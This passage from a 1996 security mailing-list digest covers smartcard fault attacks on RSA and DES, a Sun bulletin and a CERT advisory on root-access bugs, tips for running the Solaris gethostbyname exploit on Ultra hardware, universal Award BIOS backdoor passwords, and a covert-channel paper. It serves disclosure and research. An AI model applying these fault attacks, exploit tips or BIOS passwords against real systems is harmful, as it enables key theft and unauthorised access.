using the Chinese Remainder Theorem, and if an error an be induced in (say) the
latter computation, then we can factor n at once as p = gcd(n,S^e-M) where e is
the public exponent.

This is absolutely ideal for a glitch attack. As the card spends most of its
time calculating the signature mod p and mod q, and almost any glitch that
affects the output will do, we do not have to be at all selective about where
in the instruction sequence the glitch is applied. Since only a single
signature is needed, the attack can be performed online: a Mafia eftpos
terminal applies the glitch, factors the modulus, calculates what the correct
signature should be, and sends this on to the bank. 

Thus the Mafia can harvest RSA secret keys without the customer or his bank
noticing anything untoward about the transaction he did at their shop. Given
that implementers of the new EMV electronic purse system propose to have only
10,000 different RSA secret keys per issuing bank, the Mafia will soon be able
to forge cards for a substantial proportion of the user population.


Attacking DES

When we can cause an instruction of our choice to fail, then attacking DES is
simple. We remove one of the xor operations that are used to combine the round
keys with the inputs to the S-boxes from the last two rounds of the cipher, and
repeat this for each of these key bytes in turn. The erroneous ciphertext
outputs that we receive as a result of this attack will each differ from the
genuine ciphertext in the output of usually two, and sometimes three, S-boxes.
Using the techniques of differential cryptanalysis, we obtain about five bits
of information about the eight keybits that were not xor'ed as a result of the
induced fault. So, for example, eight faulty ciphertexts should give us about
40 bits of the key, leaving a trivial keysearch.

Thus DES can be attacked with about one correct and eight faulty ciphertexts.
But how realistic is it to assume that we will be able to target particular
instructions?

In most smartcards, the manufacturer supplies a number of routines in ROM.
Though sometimes presented as an `operating system', the ROM code is more of a
library or toolkit that enables application developers to manage communications
and other facilities. Its routines usually include the DES algorithm (or a
proprietary algorithm such as Telepass), and by buying the manufacturer's
smartcard development toolkit (for typically a few thousand dollars) an
attacker can get full documentation plus real specimens for testing. In this
case, individual DES instructions can be targeted.

When confronted with an unfamiliar implementation, we may have to experiment
somewhat (we have to do this anyway with each card in order to find the correct
glitch parameters [5]). However the search space is relatively small, and on
looking at a few DES implementations it becomes clear that we can usually
recognise the effects of removing a single instruction from either of the last
two rounds. (In fact, many of these instructions yield almost as much
information when removed from the implementation as the key xor instructions
do.) We will discuss this at greater length in a later paper.


The ROM Overwrite Attack

Where the implementation is familiar, there is yet another way to extract keys
from the card - the ROM overwrite attack.

Single bits in a ROM can be overwritten using a laser cutter, and where the DES
implementation is well known, we can find one bit (or a small number of bits)
with the property that changing it will enable the key to be extracted easily.
The details will depend on the implementation but we might well be able, for
example, to make a jump instruction unconditional and thus reduce the number of
rounds in the cipher to one or two. Where the algorithm is kept in EEPROM, we
can use two microprobing needles to set or reset the target bit [6].

Where we have incomplete information on the implementation, ROM overwriting
attacks can be used in other ways. For example, if the DES S-boxes in ROM, we
can identify them using an optical microscope and use our laser cutter to make
all their bits equal. This turns DES into a linear transfromation over GF(2),
and we can extract the key from a single plaintext/ciphertext pair.

Although ROM overwrite (unlike the other attacks suggested in this paper)
involves access to the chip surface, it can be carried out using tools that are
relatively cheap and widely available. So it may be used by attackers who do
not have access to the expensive semiconductor test equipment that professional
pirates use to extract keys directly from smartcards [5].

Returning to the non-invasive attack model, we can always apply clock and power
glitches until simple statistical tests suddenly show a high dependency between
the input and output of the encryption function, indicating that we have
succeeded in reducing the number of rounds. This may be practical even where
the implementation details are unknown.


Reverse Engineering an Unknown Block Cipher

In [2], Biham and Shamir discuss how to identify the structure of an unknown
block cipher in a tamper resistant package (e.g., Skipjack) using one-bit
random errors. As before, they identify faults that affected only the last
round or rounds; this can be done by looking for ciphertexts at a low Hamming
distance from each other. They then identify which output bits correspond to
the left and right halves, and next look at which bits in the left half are
affected by one bit changes in the last-but-one right half. In the case of a
cipher such as DES with S boxes, the structure will quickly become clear and
with enough ciphertexts the values of the S-boxes can be reconstructed. They
report that with 500 ciphertexts the gross structure can be recovered, and with
about 10,000 the S-box entries themselves can be found.

Our technique of causing faults in instructions rather than in data bits is
more effective here too. We can attack the last instruction, then the second
last instruction, and so on.

We will give detailed estimates for DES in the final paper. Let us now consider
an actual classified algorithm. `Red Pike' was designed by GCHQ for encrypting
UK government traffic classified up to `Restricted', and the Department of
Health wishes to use it to encrypt medical records. The British Medical
Association, advised by one of us (Anderson) instead recommended that an
algorithm be chosen that had been in the open literature for at least two years
and had withstood attempts to find shortcuts (triple-DES, Blowfish, SAFER
K-128, WAKE,...).

In order to try and persuade the BMA that Red Pike was sound, the government
commissioned a study of it by four academics [7]. This study states that Red
Pike `uses the same basic operations as RC5' (p 4) in that the principal
operations are add, exclusive or, and left shift. It `has no look-up tables,
virtually no key schedule and requires only five lines of code' (p 4). Other
hints include that `the influence of each key bit quickly cascades' (p 10) and
`each encryption involves of the order of 100 operations' (p 19).

We can thus estimate the effort of reverse engineering Red Pike from a tamper 
resistant hardware implementation by considering the effort needed to mount a 
similar attack on RC5.

Removing the last operation - the addition of key material - yields an output
in which the right hand side is different (it is (B xor A) shl A). This
suggests, correctly, that the cipher is a balanced Feistel network without a
final permutation. Removing the next operation - the shift - makes clear that
it was a 32 bit circular shift but without revealing how it was parametrised.
Removing the next operation - the xor - is transparent, and the next - the
addition of key material in the previous round - yields an output with the
values A and B in the above expression. It thus makes the full structure of
the data-dependent rotation clear. The attacker can now guess that the
algorithm is defined by

          A = ((A xor B) shl B) op key
          B = ((B xor A) shl A) op key

Reverse engineering RC5's rather complex key schedule (and deducing that `op'
is actually +) would require single-stepping back through it separately; but
once we know that `op' is +, we can find the round key bits directly by working
back through the rounds of encryption.

So, apart from its key schedule, RC5 may be about the worst possible algorithm
choice for secret-algorithm hardware applications, where some implementations
may be vulnerable to glitch attacks. If Red Pike is similar but with a simpler
key schedule, then it could be more vulnerable still. However, since the
government plans to make Red Pike available eventually in software, this is not
a direct criticism of the design or choice of that algorithm.

It does all suggest, though, that secret-hardware algorithms should be more
complex; large S-boxes kept in EEPROM (that is separate from the program
memory) may be a sensible way of pushing up the cost of an attack. Other
protective measures that prudent designers would consider include error
detection, multiple encryption with voting, and designing the key schedule so
that the key material from a small number of rounds is not enough for a break.


Conclusion

We have improved on the Differential Fault Analysis of Biham and Shamir. Rather
than needing about 200 faulty ciphertexts to recover a DES key, we need less
than ten. We can factor RSA moduli with a single faulty ciphertext. We can also
reverse engineer completely unknown algorithms; this appears to be faster than
Biham and Shamir's approach in the case of DES, and is particularly easy with
algorithms that have a compact software implementation such as RC5.

Finally, our attacks - unlike those of Biham, Shamir, Boneh, DeMillo and Lipton
- - use a realistic fault model, which has actually been implemented and can be
used against fielded systems.


Acknowledgement

Mike Roe pointed out that the glitch attack on RSA can be done in real time by
a Mafia owned eftpos terminal.


Bibliography

[1] ``A New Cryptanalytic Attack on DES'', E Biham, A Shamir, preprint, 
18/10/96

[2] ``Differential Fault Analysis: Identifying the Structure of Unknown Ciphers
Sealed in Tamper-Proof Devices'', E Biham, A Shamir, preprint, 10/11/96

[3] ``On the Importance of Checking Computations'' D Boneh, RA DeMillo, RJ 
Lipton, preprint

[4] ``A practical variant of the Bellcore attack'', RJ Anderson, posted to
sci.crypt as message ID <55picf$dm3@lyra.csx.cam.ac.uk>, 7/11/96

[5] ``Tamper Resistance - A Cautionary Note'', RJ Anderson, MG Kuhn, to appear
in Usenix Electronic Commerce workshop, 19/11/96

[6] ``Hardwaresicherheit von Mikrochips in Chipkarten'', Osman Kocar,
Datenschutz und Datensicherheit v 20 no 7 (July 96) pp 421--424

[7] ``Red Pike --- An Assessment'', C Mitchell, S Murphy, F Piper, P Wild,
Codes and Ciphers Ltd 2/10/96

------- End of Forwarded Message

------------------------------

Date: 	Wed, 20 Nov 1996 17:38:19 -0800
From: Mark Graff <mark.graff@Eng.Sun.COM>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>
Subject: BoS:      Re: Serious hole in Solaris 2.5[.1] gethostbyname() (exploit
Message-ID: <199611210138.RAA22867@liberty.eng.sun.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-MD5: MAC0pIG2Fx2EfkBl35p22A==

=============================================================================
         SUN MICROSYSTEMS SECURITY BULLETIN: #00137, 20 Nov 1996
=============================================================================

BULLETIN TOPICS

In this bulletin Sun announces the release of security-related patches
for Solaris 2.5 (SunOS 5.5) and Solaris 2.5.1 (SunOS 5.5.1). The
patches relate to a single problem involving vulnerabilities in both
the libc and libnsl libraries.

Sun strongly recommends that you install these patches immmediately on
every affected system. An exploitation script was publicly released
earlier this week for this vulnerability and the script is now widely
distributed. Many 2.5 and 2.5.1 systems are therefore currently
vulnerable to attack. Earlier versions of SunOS, including 4.1.x, do
not have the bug and are not vulnerable.

Since the current version (v1.0) of SISS, the Solaris Internet Server
Supplement, is based largely on 2.5.1 code, it too is vulnerable. The
vulnerability will be fixed in the next version of SISS.

As of this writing Sun is aware of no successful attacks based on this
problem.


I.   Who is Affected, and What to Do

II.  Understanding the Vulnerability

III. List of Patches

IV.  Checksum Table


APPENDICES

A.   How to obtain Sun security patches

B.   How to report or inquire about Sun security problems

C.   How to obtain Sun security bulletins or short status updates


         Send Replies or Inquiries To:

         Mark Graff
         Sun Security Coordinator
         MS MPK17-103
         2550 Garcia Avenue Mountain
         View, CA 94043-1100

         Phone: 415-786-5274
         Fax:   415-786-7994
         E-mail: security-alert@Sun.COM


Sun acknowledges with thanks both the CERT Coordination Center
(Carnegie Mellon University), AUSCERT, and Marko Laakso (University of
Oulu) for their assistance in the preparation of this bulletin.

Sun, CERT, and AUSCERT are all members of FIRST, the Forum of Incident
Response and Security Teams. For more information about FIRST, visit
the FIRST web site at "http://www.first.org/".

Keywords:       gethostbyname, root, libc, libnsl
Patchlist:      103187-09, 103188-09, 103612-06, 103613-06, 103614-06
Cross-Ref:

                                -----------

Permission is granted for the redistribution of this Bulletin, so long
as the Bulletin is not edited and is attributed to Sun Microsystems.
Portions may also be excerpted for re-use in other security advisories
so long as proper attribution is included.

Any other use of this information without the express written consent
of Sun Microsystems is prohibited. Sun Microsystems expressly disclaims
all liability for any misuse of this information by any third party.

=============================================================================
         SUN MICROSYSTEMS SECURITY BULLETIN: #00137, 20 Nov 1996
=============================================================================


I.   Who is Affected, and What to Do

Sun has verified that this vulnerability affects all supported Solaris
2.5 (SunOS 5.5) and Solaris 2.5.1 (SunOS 5.5.1) systems. Earlier
versions of SunOS, including 4.1.x, do not have the bug and are not
vulnerable.

Installing and running the software provided in these patches completely
closes the vulnerability. For information about how to obtain these and
other Sun patches, see Appendix A.

To see which version of SunOS your system is running, use a command such as:

        % uname -a

If your system is running SunOS 5.5 or 5.5.1, it is vulnerable.


II.  Understanding the Vulnerability

If exploited, this vulnerability can be used to gain root access on
attacked systems. The attack could be initiated from a remote system.
Even penetration through a firewall may be possible, depending upon
which services and applications (such as rlogin) are allowed to pass
through the firewall.

Because this vulnerability is located in two key system libraries, many
setuid/setgid system utilities are affected and possibly exploitable.

There has been a buffer over-run vulnerability discovered in both the
libc and the libnsl libraries under Solaris 2.5/2.5.1.  Many setuid and
setgid programs, as well as network programs running with root
privileges, are dynamically linked against these libraries.  This
vulnerability has the potential for any program using these libraries,
running with root privileges, to be exploited, giving root privileges.


III. List of Patches

The patches required to close this vulnerability are listed below.

    A. Solaris 2.x (SunOS 5.x) patches

    Patches which replace the affected libraries and executables are available
    for every supported version of SunOS 5.x.

        OS version      Patch ID
        ----------      ---------
        SunOS 5.5       103187-09
        SunOS 5.5_X86   103188-09
        SunOS 5.1.1     103612-06
        SunOS 5.5.1_x86 103613-06
        SunOS 5.1.1_ppc 103614-06


    B.  Solaris 1.x (SunOS 4.1.x) patches

    No patches are needed for SunOS 4.1.x, which is not vulnerable.


IV.  Checksum Table

In the checksum table we show the BSD and SVR4 checksums and MD5 digital
signatures for the compressed tar archives.

File            BSD             SVR4            MD5
Name            Checksum        Checksum        Digital Signature
--------------- -----------     ---------       --------------------------------
103187-09.tar.Z 55543 2779      1318 5557       2AF86E9126BB8B0505743D0283C175A6
103188-09.tar.Z 21952 2523      13621 5046      E0455AAC6DF587E9F9EC88082B9613B2
103612-06.tar.Z 29415 2752      38423 5503      56DF3214D8C5CC58C9AC223C9C7ACEBC
103613-06.tar.Z 30698 2501      29921 5002      7E27DF259B595231188D2725E2B6AE59
103614-06.tar.Z 05172 2766      46856 5532      193E63B9C5E2B829D59B1FCBE2E2981F

The checksums shown above are from the BSD-based checksum (on 4.1.x,
/bin/sum; on SunOS 5.x, /usr/ucb/sum) and from the SVR4 version on
on SunOS 5.x (/usr/bin/sum).


APPENDICES

A.   How to obtain Sun security patches

    1. If you have a support contract

    Customers with Sun support contracts can obtain any patches listed
    in this bulletin (and any other patches--and a list of patches) from:

       - SunSolve Online
       - Local Sun answer centers, worldwide
       - SunSITEs worldwide

    The patches are available via World Wide Web at http://sunsolve1.sun.com.

    You should also contact your answer center if you have a support
    contract and:

       - You need assistance in installing a patch
       - You need additional patches
       - You want an existing patch ported to another platform
       - You believe you have encountered a bug in a Sun patch
       - You want to know if a patch exists, or when one will be ready

    2. If you do not have a support contract

    Customers without support contracts may now obtain security patches,
    "recommended" patches, and patch lists via SunSolve Online.

    Sun does not furnish patches to any external distribution sites
    other than the ones mentioned here. The ftp.uu.net and ftp.eu.net
    sites are no longer supported.

    3. About the checksums

    So that you can quickly verify the integrity of the patch files
    themselves, we supply in each bulletin checksums for the tar archives.

    Occasionally, you may find that the listed checksums do not match
    the patches on the SunSolve or SunSite database. This does not
    necessarily mean that the patch has been tampered with. More likely,
    a non-substantive change (such as a revision to the README file)
    has altered the checksum of the tar file. The SunSolve patch database
    is refreshed nightly, and will sometimes contain versions of a patch
    newer than the one on which the checksums were based.

    In the future we may provide checksum information for the
    individual components of a patch as well as the compressed archive
    file. This would allow customers to determine, if need be, which
    file(s) have been changed since we issued the bulletin containing
    the checksums.

    In the meantime, if you would like assistance in verifying the
    integrity of a patch file please contact this office or your local
    answer center.


B.   How to report or inquire about Sun security problems

If you discover a security problem with Sun software or wish to
inquire about a possible problem, contact one or more of the
following:

   - Your local Sun answer centers
   - Your representative computer security response team, such as CERT
   - This office. Address postal mail to:

         Sun Security Coordinator
         MS MPK17-103
         2550 Garcia Avenue Mountain
         View, CA 94043-1100

         Phone: 415-786-5274
         Fax:   415-786-7994
         E-mail: security-alert@Sun.COM

We strongly recommend that you report problems to your local Answer
Center. In some cases they will accept a report of a security bug
even if you do not have a support contract. An additional notification
to the security-alert alias is suggested but should not be used as your
primary vehicle for reporting a bug.


C.   How to obtain Sun security bulletins or short status updates

    1. Subscription information

    Sun Security Bulletins are available free of charge as part of
    our Customer Warning System. It is not necessary to have a Sun
    support contract in order to receive them.

    To receive information or to subscribe or unsubscribe from our
    mailing list, send mail to security-alert@sun.com with a subject
    line containing one of the following commands.


        Subject         Information Returned/Action Taken
        -------         ---------------------------------

        HELP            An explanation of how to get information

        LIST            A list of current security topics

        QUERY [topic]   The mail containing the question is relayed to
                        a Security Coordinator for a response.

        REPORT [topic]  The mail containing the text is treated as a
                        security bug report and forwarded to a Security
                        Coordinator for handling. Please note that this
                        channel of communications does not supersede
                        the use of Sun Solution Centers for this
                        purpose.  Note also that we do not recommend
                        that detailed problem descriptions be sent in
                        plain text.

        SEND topic      Summary of the status of selected topic. (To
                        retrieve a Sun Security Bulletin, supply the
                        number of the bulletin, as in "SEND #103".)

        SUBSCRIBE       Sender is added to the CWS (Customer
                        Warning System) list.  The subscribe feature
                        requires that the sender include on the subject
                        line the word "cws" and the reply email
                        address.  So the subject line might look like
                        the following:

                                SUBSCRIBE cws graff@sun.com

        UNSUBSCRIBE     Sender is removed from the CWS list.


    Should your email not fit into one of the above subjects, a help
    message will be returned to you.

    Due to the volume of subscription requests we receive, we cannot
    guarantee to acknowledge requests. Please contact this office if
    you wish to verify that your subscription request was received, or
    if you would like your bulletin delivered via postal mail or fax.

    2. Obtaining old bulletins

    Sun Security Bulletins are available via the security-alert alias
    and on SunSolve. Please try these sources first before contacting
    this office for old bulletins.

                                ------------

------------------------------

Date: 	Wed, 20 Nov 1996 00:56:04 -0600
From: Joe Zbiciak <im14u2c@cegt201.bradley.edu>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: BoS:      Re: Serious hole in Solaris 2.5[.1] gethostbyname() (exploit
Message-ID: <199611201607.KAA21716@cegt201.bradley.edu>
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

And then Alan Cox went and said something like this:

|
|> The exploit does not work on my 2.5.1 Ultra-1.  Presumably this is
|> just a matter of getting the machine code right for the platform. ;)
|
|According to Dave Miller (Linux sparc guru) the I & D caches on the ultra
|are not coherent, so you'll need to find a way to flush the I cache.
|
|Alan
|

I would imagine running a couple copies of a program such as the follwing
in the background would keep the data caches pretty well flushed:

main()
{
        int playpen[1<<24],i;

        while (1) for (i=0;i<(1<<24);i++) playpen[i^0x2a3a4a]=playpen[i]*i+1;

        return 0; /* not reached */
}

I'm not sure how you'd flush the I-cache, though, unless you were able
to construct some really nasty straight-line code that was really long.
A program such as the following might generate a suitable program.  (This
program *generates* C code, which you would then need to compile.)

main()
{
        int i;
        printf("main() { int playpen[1<<16]; \n while(1) {\n");
        for (i=0;i<(1<<16);i++)
                printf("playpen[%d]=playpen[%d]*%d+1;\n",i^0x3a4a,i,(1<<16)-i);
        printf("} return 0; }\n");

        return 0;
}


Then exploiting the bug would be a matter of "racing" the task-switcher,
to see if it will switch tasks after the stack smash, but before the
spurious jump, so that these other tasks have a chance to flush the caches.
Putting the exploiting call into a loop should run the race for you
automagically.

--Joe Z.

--
                                                :======= Joe Zbiciak =======:
                 Advice...                      :- - im14u2c@bradley.edu - -:
           Wise man don't need it,              : - - - - - http: - - - - - :
            fools don't heed it.                ://ee1.bradley.edu/~im14u2c/:
                                                :======= DISCLAIMER: =======:
            -- Darin S. Lory                    : -Only crazy people would- :
                                                := = = -agree with me- = = =:
(504:834 3:15)

------------------------------

Date: Wed, 20 Nov 1996 11:29:29 +0100 (MET)
From: <moost@xs4all.nl>
To: Seo Euiseong <paladin@intersys.kaist.ac.kr>
cc: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>,
         best-of-security@suburbia.net
Subject: BoS:      Magic password of some linux-box(Hardware..)
Message-ID: <Pine.SUN.3.93.961120112538.26408A-100000@xs1.xs4all.nl>
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 18 Nov 1996, Seo Euiseong wrote:
> In recent, there are lots of host runs Linux, FreeBSD, etc...
> Many administrarot believes that System Password that main board support is
> fully secure to prevent the console hacker from cracking in front of the system
> But, It is a very "Unsecure" thought.
> A few days ago, my friend mistyped his console password, "condo,".
> The BIOS vendor of his system was AWARD.
> Then, The BIOS accept the password like a real password and booting,
> gives the permission to set up the bios.
> I thought that it was a bug of a version of award bios.
> But, It's not true. Unfortunately almost versions of award bios has the
> magic password "condo,"

Some manuals of mainboards describe this 'feature'. Most Award bioses I've
come across respon to the password AWARD_SW (mind the case) and will allow
altering of the bios or just regular booting.

Ofcourse this is meant as a sort of 'last' recover option, but for me it
seems a little foolish to make this default to all Award Bioses..

M. Oosterink

------------------------------

Date: 	Wed, 20 Nov 1996 16:17:01 -0500
From: Eugene Bradley <ebradley@andromeda.rutgers.edu>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: BoS:      Magic password of some linux-box(Hardware..)
Message-ID: <9611201617.ZM17354@andromeda.rutgers.edu>
Content-Type: text/plain; charset=us-ascii

-----BEGIN PGP SIGNED MESSAGE-----

on Nov 20, moost@xs4all.nl writes:
# On Mon, 18 Nov 1996, Seo Euiseong wrote:
# [deletia]
# > But, It's not true. Unfortunately almost versions of award bios has
the
# > magic password "condo,"
#
# Some manuals of mainboards describe this 'feature'. Most Award bioses
# I've come across respon to the password AWARD_SW (mind the case) and
will
# allow altering of the bios or just regular booting.
#
# Ofcourse this is meant as a sort of 'last' recover option, but for me it
# seems a little foolish to make this default to all Award Bioses..
#
# M. Oosterink

I tested the [magic,universal] passwords on some of the new P120's we
recently received that come with the Award BIOS.  Surely enough the
[magic,universal] passwords work and I've instructed all of my
co-workers who repair computers on campus not to disclose these
passwords to anyone, in addition to the BIOS passwords that are
already set.

I know that newer versions of the American Megatrends (AMI) BIOS
require that you call an 800 number (1-800-U-BUY-AMI) in order
to receive a disk that will recover a lost BIOS password.

My idea for handling lost BIOS passwords (if this hasn't been
implemented already by some company); forgive me if some portions
of this seem wrong, but note that this is just an idea:

1) install a random, 16-bit universal password onto each BIOS made before
inserting into the motherboard.

2) have computer buyer sign and register computer with the BIOS
manufacturer.  Then the BIOS manufacturer can give the user
(or in some cases a network admin) a confirmation password that
MUST be given to the BIOS support (as well as the name, address,
company [if applicable], and job title) people before the random
secret system password can be given out.   Naturally, this
applies when the user forgets any chosen and set password.

3) the secret system password can only be used _once_.  If the user
forgets the password that was personally set, the user must
go through 2) but will also be sent a new BIOS chip for a $5
fee.

My hope with this idea is that it will prevent the problems that I'm
seeing where people use the set universal passwords found on the Award
BIOS to change system settings.  Afterwards, such doctored BIOS systems
can be used for any (illegitimate) activity possible...

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMpN1RBskmjHS+zH1AQGwMwP7B18/4Kx2cPKg9Lnk+CAW832uwxkub4HN
KhnBHyu0aj8vETFSALaP4MezaKUFNSqQVMPtp4MQCPx++OW4ETy7fa2sZKrS1NcM
m81Gv9ZvlGS7k91x//CUSqpD0bexjNWpCY+BAGFJcOXBDGlj39HuWn2Is4uCZhJf
TVGGMToYJpM=
=3t0Z
-----END PGP SIGNATURE-----

--
Eugene Bradley | finger for PGP public key | Unsolicited commercial email
    webmaster of http://www.winter.org/    | will be deleted at $100/msg
    PGP Fingerprint = 55 70 DE 84 FE E1 3D 50  7F C2 88 22 30 8C 81 9E
   <a href="http://www.armory.com/~ebradley"> Eugene's W^3 Duckpond </a>

------------------------------

Date: Thu, 21 Nov 1996 00:28:26 -0500
From: "Craig H. Rowland" <crowland@psionic.com>
To: dc-stuff@dis.org, best-of-security@suburbia.net, firewalls@greatcircle.com,
         cypherpunks@toad.com
CC: crowland@psionic.com
Subject: BoS: New Paper: Covert Channels in the TCP/IP Protocol Suite
Message-ID: <3293E87A.469FB11D@psionic.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

All,

I have released a new paper entitled: 

Covert Channels in the TCP/IP Protocol Suite

This paper demonstrates several methods of encoding secret data into the
headers of the TCP/IP protocol. Main topics of interest include:

- Encoding data into IP headers.
- Encoding data into TCP headers.

Specific areas of focus allow encoding of data into the IP
identification fields and TCP sequence number fields for clandestine
transmission of data to a remote host. Packets of data appear normal to
network sniffers and packet filters, yet can contain hidden messages in
either plaintext or ciphertext.

Other methods revealed include a new technique where forged packets can
be "bounced" off any Internet connected site to establish a
communication path that appears to originate from the "bounced" host. 
Additionally, several methods are discussed regarding bypassing of
packet filters with encoded data for communication with hosts inside a
protected network.

This paper contains actual demonstrations as well as source code for
Linux 2.x systems to allow encoded transmissions between sites to be
tested.

If you are interested in reading this paper, please visit my website:

http://www.psionic.com/papers.html

This site has VERY limited bandwidth so please be patient if it is slow.

Thank you for your time..

-- Craig

------------------------------

Date: Thu, 21 Nov 1996 12:08:49 -0500
From: CERT Advisory <cert-advisory@cert.org>
To: cert-advisory@cert.org
Subject: BoS: CERT Advisory CA-96.24 - Sendmail Daemon Mode Vulnerability
Message-Id: <199611211708.MAA03092@coal.cert.org>

-----BEGIN PGP SIGNED MESSAGE-----

=============================================================================
CERT(sm) Advisory CA-96.24
Original issue date: November 21, 1996
Last revised: --

Topic: Sendmail Daemon Mode Vulnerability
- -----------------------------------------------------------------------------

The CERT Coordination Center has received reports of a serious security
problem in sendmail that affects versions 8.7 through 8.8.2. By exploiting
this vulnerability, any local user can gain root access. Exploitation details
involving this vulnerability have been widely distributed.

Independent of this new vulnerability, there are other security problems
with older sendmail versions. Even if you are not running a version between
8.7 and 8.8.2, we strongly encourage you to upgrade to the current version
of sendmail (8.8.3). See Section IV for details.

The CERT/CC team recommends installing vendor patches or upgrading to the
current version of sendmail (8.8.3). Until you can do so, we urge you to
apply the workaround provided in Section III.C. In all cases, be sure to
take the extra precautions listed in Section III.D.

We will update this advisory as we receive additional information. Please
check advisory files regularly for updates that relate to your site. In
addition, you can check ftp://info.cert.org/pub/latest_sw_versions/sendmail
to identify the most current version of sendmail.

- -----------------------------------------------------------------------------

I.   Description

     Sendmail is often run in daemon mode so that it can "listen" for
     incoming mail connections on the standard SMTP networking port, usually
     port 25. The root user is the only user allowed to start sendmail this
     way, and sendmail contains code intended to enforce this restriction.

     Unfortunately, due to a coding error, sendmail can be invoked in daemon
     mode in a way that bypasses the built-in check. When the check is
     bypassed, any local user is able to start sendmail in daemon mode. In
     addition, as of version 8.7, sendmail will restart itself when it
     receives a SIGHUP signal. It does this restarting operation by
     re-executing itself using the exec(2) system call. Re-executing is done
     as the root user. By manipulating the sendmail environment, the user can
     then have sendmail execute an arbitrary program with root privileges.

II.  Impact

     Local users can gain root privileges on the local machine.

III. Solution

     Install a patch from your vendor if one is available (Section A) or
     upgrade to the current version of sendmail (Section B). Until you can
     take one of those actions, we recommend applying the workaround described
     in Section C. In all cases, you should take the precautions described in
     Section D.

     A.  Install a vendor patch.

         Below is a list of vendors who have provided information about
         sendmail. Details are in Appendix A of this advisory; we will update
         the appendix as we receive more information. If your vendor's name is
         not on this list, please contact the vendor directly.

            Berkeley Software Design, Inc. (BSDI)
            Data General Corporation
            Digital Equipment Corporation
            FreeBSD
            Hewlett-Packard Company
            IBM Corporation
            Linux
            NeXT Software, Inc.
            Open Software Foundation (OSF)
            The Santa Cruz Operation, Inc. (SCO)
            Sun Microsystems, Inc.

     B.  Upgrade to the current version of sendmail.

         Install sendmail 8.8.3. This version is a "drop in" replacement for
         8.8.x. There is no patch for any version of sendmail before 8.8.0.
         If you are running such a version, strongly consider moving to
         version 8.8.3.

         Sendmail 8.8.3 is available from

        ftp://ftp.sendmail.org/ucb/src/sendmail/sendmail.8.8.3.tar.gz
        ftp://info.cert.org/pub/tools/sendmail/sendmail.8.8.3.tar.gz
        ftp://ftp.cert.dfn.de/pub/tools/net/sendmail/sendmail.8.8.3.tar.gz
        ftp://ftp.auscert.org.au/pub/mirrors/ftp.cs.berkeley.edu/ucb/sendmail/*

         MD5 (sendmail.8.8.3.tar.gz) = 0cb58caae93a19ac69ddd40660e01646

         Also in that directory are .Z and .sig files. The .Z file contains
         the same bits as the .gz file, but is compressed using UNIX compress
         instead of gzip. The .sig is Eric Allman's PGP signature for the
         uncompressed tar file. The key fingerprint is

  Type bits/keyID    Date       User ID
  pub  1024/BF7BA421 1995/02/23 Eric P. Allman <eric@CS.Berkeley.EDU>
            Key fingerprint =  C0 28 E6 7B 13 5B 29 02  6F 7E 43 3A 48 4F 45 29
                                Eric P. Allman <eric@Reference.COM>
                                Eric P. Allman <eric@Usenix.ORG>
                                Eric P. Allman <eric@Sendmail.ORG>
                                Eric P. Allman <eric@CS.Berkeley.EDU>

         When you change to a new version of sendmail, we strongly recommend
         also changing to the configuration files that are provided with that
         version. Significant work has been done to make this task easier.
         (In fact, it is highly likely that older configuration files will
         not work correctly with sendmail version 8.) It is now possible to
         build a sendmail configuration file (sendmail.cf) using the
         configuration files provided with the sendmail release. Consult the
         cf/README file for a more complete explanation. Creating your
         configuration files using this method makes it easier to incorporate
         future changes to sendmail into your configuration files.

         Sun sendmail users: A paper is available to help you convert your
         sendmail configuration files from the Sun version of sendmail to one
         that works with sendmail version 8.8.x. The paper is entitled
         "Converting Standard Sun Config Files to Sendmail Version 8" and was
         written by Rick McCarty of Texas Instruments Inc. It is included in
         the distribution and is located in contrib/converting.sun.configs.

     C.  Apply a workaround.

         Eric Allman, the author of sendmail, has provided the following
         workaround.

         This vulnerability relies on a coding error that has existed in
         sendmail since November 1982, allowing non-root users to start up an
         SMTP daemon by invoking sendmail as smtpd. However, that error did
         not have the current negative implications until sendmail added the
         ability to re-execute when a SIGHUP signal was received; this was
         added in 8.7.

         The anti-smtpd program given in Appendix B refuses to permit sendmail
         to be invoked as smtpd by a non-root user. It should be installed
         setuid root in place of sendmail (e.g., as /usr/sbin/sendmail or
         /usr/lib/sendmail, depending on your system); the real sendmail
         should be moved to another place. That location should be set in the
         REAL_SENDMAIL definition, and it should not be accessible by ordinary
         users. This permits the anti-smtpd program to moderate access to
         sendmail.

     D.  Take additional precautions

         Regardless of which solution you apply, you should take these extra
         precautions to protect your systems. These precautions do not address
         the vulnerabilities described herein, but are recommended as good
         practices to follow for the safer operation of sendmail.

         * Use the sendmail restricted shell program (smrsh)

           With *all* versions of sendmail, use the sendmail restricted shell
           program (smrsh). You should do this whether you use vendor-supplied
           sendmail or install sendmail yourself. Using smrsh gives you
           improved administrative control over the programs sendmail executes
           on behalf of users.

           A number of sites have reported some confusion about the need to
           continue using the sendmail restricted shell program (smrsh) when
           they install a vendor patch or upgrade to a new version of
           sendmail. You should always use the smrsh program.

           smrsh is included in the sendmail distribution in the subdirectory
           smrsh. See the RELEASE_NOTES file for a description of how to
           integrate smrsh into your sendmail configuration file.

           smrsh is also distributed with some operating systems.

         * Use mail.local

           If you run /bin/mail based on BSD 4.3 UNIX, replace /bin/mail with
           mail.local, which is included in the sendmail distribution. As of
           Solaris 2.5 and beyond, mail.local is included with the standard
           distribution. It is also included with some other operating systems
           distributions, such as FreeBSD.

           Although the current version of mail.local is not a perfect
           solution, it is important to use it because it addresses
           vulnerabilities that are being exploited. For more details, see
           CERT advisory CA-95:02.

           To use mail.local, replace all references to /bin/mail with
           /usr/lib/mail.local. If you are using the M4(1)-based configuration
           scheme provided with sendmail 8.X, add the following to your
           configuration file:

              define(`LOCAL_MAILER_PATH', /usr/lib/mail.local)

         * WARNING: Check for setuid executable copies of old versions of
                    mail programs

           If you leave setuid executable copies of older versions of
           sendmail installed in /usr/lib (on some systems, it may be
